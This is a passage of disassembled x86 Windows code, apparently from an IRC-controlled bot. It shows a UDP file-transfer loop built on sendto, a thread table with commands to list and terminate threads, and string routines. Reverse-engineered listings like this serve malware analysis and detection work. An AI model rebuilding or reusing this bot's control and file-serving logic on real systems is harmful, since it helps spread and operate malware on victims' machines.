mov [ebp+var_C], eax
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_58]
push eax
call sub_40C6C3
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_40BFF4
cmp [ebp+var_D7], 1
jnz loc_40BF56
lea eax, [ebp+var_274]
push eax
call sub_40CBC0
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_40CBC0
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_40EAC0
add esp, 14h
test eax, eax
jnz loc_40BF10
lea eax, [ebp+var_1C]
push eax
call sub_40CBC0
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_40EAC0
add esp, 10h
test eax, eax
jnz loc_40BF10
push ebx
push ebx
push [ebp+var_8]
call sub_40EAF8
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_40DA20
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_42D8D8 ; sendto
loc_40BEB4: ; CODE XREF: sub_40BB81+46Ej
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_780]
push offset dword_41FB48
push eax
call sub_40C6C3
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_40BEFE
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_404555
add esp, 14h
loc_40BEFE: ; CODE XREF: sub_40BB81+358j
lea eax, [ebp+var_780]
push eax
call sub_403145
pop ecx
jmp loc_40C00A
; ---------------------------------------------------------------------------
loc_40BF10: ; CODE XREF: sub_40BB81+2B6j
; sub_40BB81+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_41FB34
push edi
call dword_42D8D8 ; sendto
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_41FB0C
push eax
call sub_40C6C3
lea eax, [ebp+var_D8]
push eax
call sub_403145
add esp, 14h
jmp loc_40C00A
; ---------------------------------------------------------------------------
loc_40BF56: ; CODE XREF: sub_40BB81+275j
cmp [ebp+var_D7], 4
jnz loc_40BFF4
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_40BF8D
inc al
xor cl, cl
mov [ebp+var_57D], bl
jmp short loc_40BF95
; ---------------------------------------------------------------------------
loc_40BF8D: ; CODE XREF: sub_40BB81+3FEj
inc cl
mov [ebp+var_57D], cl
loc_40BF95: ; CODE XREF: sub_40BB81+40Aj
mov [ebp+var_57E], al
push ebx
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_40EAF8
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_40DA20
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_42D8D8 ; sendto
cmp edi, ebx
jnz short loc_40C00A
jmp loc_40BEB4
; ---------------------------------------------------------------------------
loc_40BFF4: ; CODE XREF: sub_40BB81+268j
; sub_40BB81+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_41FB00
push edi
call dword_42D8D8 ; sendto
loc_40C00A: ; CODE XREF: sub_40BB81+204j
; sub_40BB81+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_40BD2C
loc_40C016: ; CODE XREF: sub_40BB81+1B4j
push edi
call dword_42D90C ; closesocket
push [ebp+var_8]
call sub_40D9CA
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_40C04A
push [ebp+var_170]
call sub_40C378
pop ecx
push ebx
call dword_418050 ; ExitThread
loc_40C04A: ; CODE XREF: sub_40BB81+4B4j
push 3E8h
call dword_418040 ; Sleep
push esi
loc_40C056: ; CODE XREF: sub_40BB81+123j
call sub_40BB81
pop edi
pop esi
pop ebx
leave
retn 4
sub_40BB81 endp
; =============== S U B R O U T I N E =======================================
sub_40C062 proc near ; CODE XREF: sub_401141+EDp
; sub_401141+210p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_42F208
loc_40C06A: ; CODE XREF: sub_40C062+18j
cmp byte ptr [eax], 0
jz short loc_40C07E
add eax, 234h
inc edi
cmp eax, offset dword_481BE8
jl short loc_40C06A
jmp short loc_40C0C9
; ---------------------------------------------------------------------------
loc_40C07E: ; CODE XREF: sub_40C062+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_42F208[esi]
push eax
call sub_40C720
mov eax, [esp+14h+arg_4]
and dword_42F40C[esi], 0
and dword_42F410[esi], 0
mov dword_42F408[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and byte_42F420[esi], 0
mov dword_42F414[esi], eax
pop esi
loc_40C0C9: ; CODE XREF: sub_40C062+1Aj
mov eax, edi
pop edi
retn
sub_40C062 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C0CD proc near ; DATA XREF: sub_4077FD+35F0o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40C11F
push [ebp+var_14]
call sub_40C378
add esp, 14h
push 0
call dword_418050 ; ExitThread
pop edi
pop esi
sub_40C0CD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C11F proc near ; CODE XREF: sub_40C0CD+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aThreadList ; "-[Thread List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
xor edi, edi
mov esi, offset dword_42F208
loc_40C149: ; CODE XREF: sub_40C11F+78j
cmp byte ptr [esi], 0
jz short loc_40C18A
cmp [ebp+arg_C], 0
jnz short loc_40C15D
cmp dword ptr [esi+204h], 0
jnz short loc_40C18A
loc_40C15D: ; CODE XREF: sub_40C11F+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_40C6C3
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 24h
loc_40C18A: ; CODE XREF: sub_40C11F+2Dj
; sub_40C11F+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_481BE8
jl short loc_40C149
pop edi
pop esi
leave
retn
sub_40C11F endp
; =============== S U B R O U T I N E =======================================
sub_40C19D proc near ; CODE XREF: sub_4077FD+2D2Dp
; sub_40C225+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40C21F
cmp esi, 258h
jge short loc_40C21F
imul esi, 234h
push edi
push ebx
lea edi, dword_42F41C[esi]
push dword ptr [edi]
call dword_41810C ; TerminateThread
cmp [edi], ebx
jz short loc_40C1CF
inc ebp
loc_40C1CF: ; CODE XREF: sub_40C19D+2Fj
mov [edi], ebx
lea edi, dword_42F410[esi]
mov dword_42F408[esi], ebx
mov dword_42F40C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40C1F0
push eax
call sub_40601E
pop ecx
loc_40C1F0: ; CODE XREF: sub_40C19D+4Aj
mov [edi], ebx
lea edi, dword_42F414[esi]
mov byte ptr dword_42F208[esi], bl
mov byte_42F420[esi], bl
push dword ptr [edi]
call dword_42D90C ; closesocket
lea esi, dword_42F418[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_42D90C ; closesocket
mov [esi], ebx
pop edi
loc_40C21F: ; CODE XREF: sub_40C19D+Dj
; sub_40C19D+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40C19D endp
; =============== S U B R O U T I N E =======================================
sub_40C225 proc near ; CODE XREF: sub_403B83+18p
; sub_40551B:loc_40553Fp ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_42F208
loc_40C231: ; CODE XREF: sub_40C225+2Aj
cmp byte ptr [esi], 0
jz short loc_40C242
push edi
call sub_40C19D
test eax, eax
pop ecx
jz short loc_40C242
inc ebx
loc_40C242: ; CODE XREF: sub_40C225+Fj
; sub_40C225+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_481BE8
jl short loc_40C231
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40C225 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C257 proc near ; CODE XREF: sub_40C2EA+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_42F40C
loc_40C26B: ; CODE XREF: sub_40C257+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40C28D
test edi, edi
jle short loc_40C27F
cmp [esi], edi
jz short loc_40C27F
cmp ebx, edi
jnz short loc_40C28D
loc_40C27F: ; CODE XREF: sub_40C257+1Ej
; sub_40C257+22j
push ebx
call sub_40C19D
test eax, eax
pop ecx
jz short loc_40C28D
inc [ebp+var_4]
loc_40C28D: ; CODE XREF: sub_40C257+1Aj
; sub_40C257+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_481DEC
jl short loc_40C26B
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40C257 endp
; =============== S U B R O U T I N E =======================================
sub_40C2A4 proc near ; CODE XREF: sub_4010CA+Bp
; sub_401141+2Cp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_42F408
loc_40C2AB: ; CODE XREF: sub_40C2A4+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40C2B4
inc eax
loc_40C2B4: ; CODE XREF: sub_40C2A4+Dj
add ecx, 234h
cmp ecx, offset dword_481DE8
jl short loc_40C2AB
retn
sub_40C2A4 endp
; =============== S U B R O U T I N E =======================================
sub_40C2C3 proc near ; CODE XREF: sub_4077FD+3236p
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_42F408
push esi
loc_40C2CD: ; CODE XREF: sub_40C2C3+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40C2E6
add ecx, 234h
inc edx
cmp ecx, offset dword_481DE8
jl short loc_40C2CD
pop esi
retn
; ---------------------------------------------------------------------------
loc_40C2E6: ; CODE XREF: sub_40C2C3+10j
mov eax, edx
pop esi
retn
sub_40C2C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2EA proc near ; CODE XREF: sub_4077FD+376Ep
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40C303
push [ebp+arg_1C]
call sub_40D9BF
pop ecx
loc_40C303: ; CODE XREF: sub_40C2EA+Ej
push eax
push [ebp+arg_18]
call sub_40C257
pop ecx
test eax, eax
pop ecx
jle short loc_40C32F
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_40C6C3
add esp, 14h
jmp short loc_40C349
; ---------------------------------------------------------------------------
loc_40C32F: ; CODE XREF: sub_40C2EA+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_40C6C3
add esp, 10h
loc_40C349: ; CODE XREF: sub_40C2EA+43j
cmp [ebp+arg_C], 0
jnz short loc_40C369
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_40C369: ; CODE XREF: sub_40C2EA+63j
lea eax, [ebp+var_200]
push eax
call sub_403145
pop ecx
leave
retn
sub_40C2EA endp
; =============== S U B R O U T I N E =======================================
sub_40C378 proc near ; CODE XREF: sub_40154B+1ABp
; sub_401704+24Ap ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_42F41C[eax], ecx
mov dword_42F408[eax], ecx
mov dword_42F40C[eax], ecx
mov dword_42F410[eax], ecx
mov dword_42F414[eax], ecx
mov dword_42F418[eax], ecx
mov byte ptr dword_42F208[eax], cl
mov byte_42F420[eax], cl
retn
sub_40C378 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3B5 proc near ; CODE XREF: sub_4077FD+3A5Bp
; sub_40C4DD+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_40C417
; ---------------------------------------------------------------------------
loc_40C3C1: ; CODE XREF: sub_40C3B5+66j
cmp eax, 1
jnz short loc_40C428
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40C428
cmp cl, 2Ah
jz short loc_40C400
cmp cl, 3Fh
jz short loc_40C3E5
cmp cl, 5Bh
jz short loc_40C3EA
xor eax, eax
cmp cl, dl
setz al
loc_40C3E5: ; CODE XREF: sub_40C3B5+22j
inc [ebp+arg_4]
jmp short loc_40C413
; ---------------------------------------------------------------------------
loc_40C3EA: ; CODE XREF: sub_40C3B5+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40C449
mov esi, [ebp+arg_0]
jmp short loc_40C411
; ---------------------------------------------------------------------------
loc_40C400: ; CODE XREF: sub_40C3B5+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40C4DD
mov esi, [ebp+arg_0]
dec esi
loc_40C411: ; CODE XREF: sub_40C3B5+49j
pop ecx
pop ecx
loc_40C413: ; CODE XREF: sub_40C3B5+33j
inc esi
mov [ebp+arg_0], esi
loc_40C417: ; CODE XREF: sub_40C3B5+Aj
mov cl, [esi]
test cl, cl
jnz short loc_40C3C1
jmp short loc_40C428
; ---------------------------------------------------------------------------
loc_40C41F: ; CODE XREF: sub_40C3B5+76j
cmp eax, 1
jnz short loc_40C444
inc esi
mov [ebp+arg_0], esi
loc_40C428: ; CODE XREF: sub_40C3B5+Fj
; sub_40C3B5+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_40C41F
cmp eax, 1
jnz short loc_40C444
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40C444
cmp byte ptr [esi], 0
jnz short loc_40C444
xor eax, eax
inc eax
jmp short loc_40C446
; ---------------------------------------------------------------------------
loc_40C444: ; CODE XREF: sub_40C3B5+6Dj
; sub_40C3B5+7Bj ...
xor eax, eax
loc_40C446: ; CODE XREF: sub_40C3B5+8Dj
pop esi
pop ebp
retn
sub_40C3B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C449 proc near ; CODE XREF: sub_40C3B5+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40C46A
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40C46A: ; CODE XREF: sub_40C449+19j
push ebx
push esi
loc_40C46C: ; CODE XREF: sub_40C449+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40C47A
cmp [ebp+var_4], eax
jnz short loc_40C4C2
loc_40C47A: ; CODE XREF: sub_40C449+2Aj
test edi, edi
jnz short loc_40C4B7
cmp bl, 2Dh
jnz short loc_40C4AB
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_40C4AB
cmp al, 5Dh
jz short loc_40C4AB
cmp [ebp+var_4], edi
jnz short loc_40C4AB
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40C4B7
cmp bl, al
jg short loc_40C4B7
mov [edx], esi
jmp short loc_40C4B4
; ---------------------------------------------------------------------------
loc_40C4AB: ; CODE XREF: sub_40C449+38j
; sub_40C449+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40C4B7
loc_40C4B4: ; CODE XREF: sub_40C449+60j
xor edi, edi
inc edi
loc_40C4B7: ; CODE XREF: sub_40C449+33j
; sub_40C449+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_40C46C
; ---------------------------------------------------------------------------
loc_40C4C2: ; CODE XREF: sub_40C449+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40C4CF
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40C4CF: ; CODE XREF: sub_40C449+7Ej
cmp edi, eax
jnz short loc_40C4D8
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40C4D8: ; CODE XREF: sub_40C449+88j
mov eax, edi
pop edi
leave
retn
sub_40C449 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C4DD proc near ; CODE XREF: sub_40C3B5+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_40C50D
; ---------------------------------------------------------------------------
loc_40C4F7: ; CODE XREF: sub_40C4DD+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_40C508
cmp dl, 2Ah
jnz short loc_40C51A
cmp dl, 3Fh
jnz short loc_40C50B
loc_40C508: ; CODE XREF: sub_40C4DD+1Fj
inc ecx
mov [edi], ecx
loc_40C50B: ; CODE XREF: sub_40C4DD+29j
inc dword ptr [esi]
loc_40C50D: ; CODE XREF: sub_40C4DD+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_40C4F7
jmp short loc_40C51A
; ---------------------------------------------------------------------------
loc_40C517: ; CODE XREF: sub_40C4DD+40j
inc eax
mov [esi], eax
loc_40C51A: ; CODE XREF: sub_40C4DD+24j
; sub_40C4DD+38j
cmp byte ptr [eax], 2Ah
jz short loc_40C517
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_40C53C
cmp [eax], bl
jz short loc_40C52F
xor eax, eax
jmp short loc_40C599
; ---------------------------------------------------------------------------
loc_40C52F: ; CODE XREF: sub_40C4DD+4Cj
cmp dl, bl
jnz short loc_40C53C
cmp [eax], bl
jnz short loc_40C53C
xor eax, eax
inc eax
jmp short loc_40C599
; ---------------------------------------------------------------------------
loc_40C53C: ; CODE XREF: sub_40C4DD+48j
; sub_40C4DD+54j ...
push ecx
push eax
call sub_40C3B5
pop ecx
test eax, eax
pop ecx
jnz short loc_40C583
loc_40C549: ; CODE XREF: sub_40C4DD+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_40C55B
; ---------------------------------------------------------------------------
loc_40C54F: ; CODE XREF: sub_40C4DD+86j
cmp cl, 5Bh
jz short loc_40C565
cmp dl, bl
jz short loc_40C565
inc eax
mov [edi], eax
loc_40C55B: ; CODE XREF: sub_40C4DD+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_40C54F
loc_40C565: ; CODE XREF: sub_40C4DD+75j
; sub_40C4DD+79j
cmp [eax], bl
jz short loc_40C57A
push eax
push dword ptr [esi]
call sub_40C3B5
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40C57F
; ---------------------------------------------------------------------------
loc_40C57A: ; CODE XREF: sub_40C4DD+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_40C57F: ; CODE XREF: sub_40C4DD+9Bj
cmp eax, ebx
jnz short loc_40C549
loc_40C583: ; CODE XREF: sub_40C4DD+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_40C596
mov eax, [esi]
cmp [eax], bl
jnz short loc_40C596
mov [ebp+var_4], 1
loc_40C596: ; CODE XREF: sub_40C4DD+AAj
; sub_40C4DD+B0j
mov eax, [ebp+var_4]
loc_40C599: ; CODE XREF: sub_40C4DD+50j
; sub_40C4DD+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40C4DD endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C5A0 proc near ; CODE XREF: sub_401000+5Cp
; sub_401000+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_40C654
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_40C5CA
loc_40C5BB: ; CODE XREF: sub_40C5A0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_40C5FB
test edi, 3
jnz short loc_40C5BB
loc_40C5CA: ; CODE XREF: sub_40C5A0+19j
; sub_40C5A0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_40C5CA
mov eax, [edi-4]
test al, al
jz short loc_40C608
test ah, ah
jz short loc_40C603
test eax, 0FF0000h
jz short loc_40C5FE
test eax, 0FF000000h
jnz short loc_40C5CA
loc_40C5FB: ; CODE XREF: sub_40C5A0+20j
dec edi
jmp short loc_40C60B
; ---------------------------------------------------------------------------
loc_40C5FE: ; CODE XREF: sub_40C5A0+52j
sub edi, 2
jmp short loc_40C60B
; ---------------------------------------------------------------------------
loc_40C603: ; CODE XREF: sub_40C5A0+4Bj
sub edi, 3
jmp short loc_40C60B
; ---------------------------------------------------------------------------
loc_40C608: ; CODE XREF: sub_40C5A0+47j
sub edi, 4
loc_40C60B: ; CODE XREF: sub_40C5A0+5Cj
; sub_40C5A0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_40C620
mov ebx, ecx
shr ecx, 2
jnz short loc_40C66C
jmp short loc_40C63C
; ---------------------------------------------------------------------------
loc_40C620: ; CODE XREF: sub_40C5A0+75j
; sub_40C5A0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_40C65A
mov [edi], dl
inc edi
dec ecx
jz short loc_40C650
test esi, 3
jnz short loc_40C620
mov ebx, ecx
shr ecx, 2
jnz short loc_40C66C
loc_40C63C: ; CODE XREF: sub_40C5A0+7Ej
; sub_40C5A0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_40C650
loc_40C643: ; CODE XREF: sub_40C5A0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_40C652
dec ecx
jnz short loc_40C643
loc_40C650: ; CODE XREF: sub_40C5A0+8Bj
; sub_40C5A0+A1j
mov [edi], cl
loc_40C652: ; CODE XREF: sub_40C5A0+ABj
pop ebx
pop esi
loc_40C654: ; CODE XREF: sub_40C5A0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40C65A: ; CODE XREF: sub_40C5A0+85j
; sub_40C5A0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40C664: ; CODE XREF: sub_40C5A0+E4j
; sub_40C5A0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_40C63C
loc_40C66C: ; CODE XREF: sub_40C5A0+7Cj
; sub_40C5A0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_40C664
test dl, dl
jz short loc_40C65A
test dh, dh
jz short loc_40C6B8
test edx, 0FF0000h
jz short loc_40C6A8
test edx, 0FF000000h
jnz short loc_40C664
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40C6A8: ; CODE XREF: sub_40C5A0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40C6B8: ; CODE XREF: sub_40C5A0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_40C5A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C6C3 proc near ; CODE XREF: sub_401000+19p
; sub_401000+48p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_40EDD8
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_40C703
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_40C710
; ---------------------------------------------------------------------------
loc_40C703: ; CODE XREF: sub_40C6C3+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_40ECC3
pop ecx
pop ecx
loc_40C710: ; CODE XREF: sub_40C6C3+3Ej
mov eax, esi
pop esi
leave
retn
sub_40C6C3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C720 proc near ; CODE XREF: sub_401141+6Ep
; sub_401141+9Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_40C7A3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_40C744
shr ecx, 2
jnz short loc_40C7B1
jmp short loc_40C765
; ---------------------------------------------------------------------------
loc_40C744: ; CODE XREF: sub_40C720+1Bj
; sub_40C720+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_40C772
test al, al
jz short loc_40C77A
test esi, 3
jnz short loc_40C744
mov ebx, ecx
shr ecx, 2
jnz short loc_40C7B1
loc_40C760: ; CODE XREF: sub_40C720+8Fj
and ebx, 3
jz short loc_40C772
loc_40C765: ; CODE XREF: sub_40C720+22j
; sub_40C720+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_40C79E
dec ebx
jnz short loc_40C765
loc_40C772: ; CODE XREF: sub_40C720+2Bj
; sub_40C720+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40C77A: ; CODE XREF: sub_40C720+2Fj
test edi, 3
jz short loc_40C794
loc_40C782: ; CODE XREF: sub_40C720+72j
mov [edi], al
inc edi
dec ecx
jz loc_40C816
test edi, 3
jnz short loc_40C782
loc_40C794: ; CODE XREF: sub_40C720+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_40C807
loc_40C79B: ; CODE XREF: sub_40C720+7Fj
; sub_40C720+F4j
mov [edi], al
inc edi
loc_40C79E: ; CODE XREF: sub_40C720+4Dj
dec ebx
jnz short loc_40C79B
pop ebx
pop esi
loc_40C7A3: ; CODE XREF: sub_40C720+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40C7A9: ; CODE XREF: sub_40C720+A9j
; sub_40C720+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_40C760
loc_40C7B1: ; CODE XREF: sub_40C720+20j
; sub_40C720+3Ej
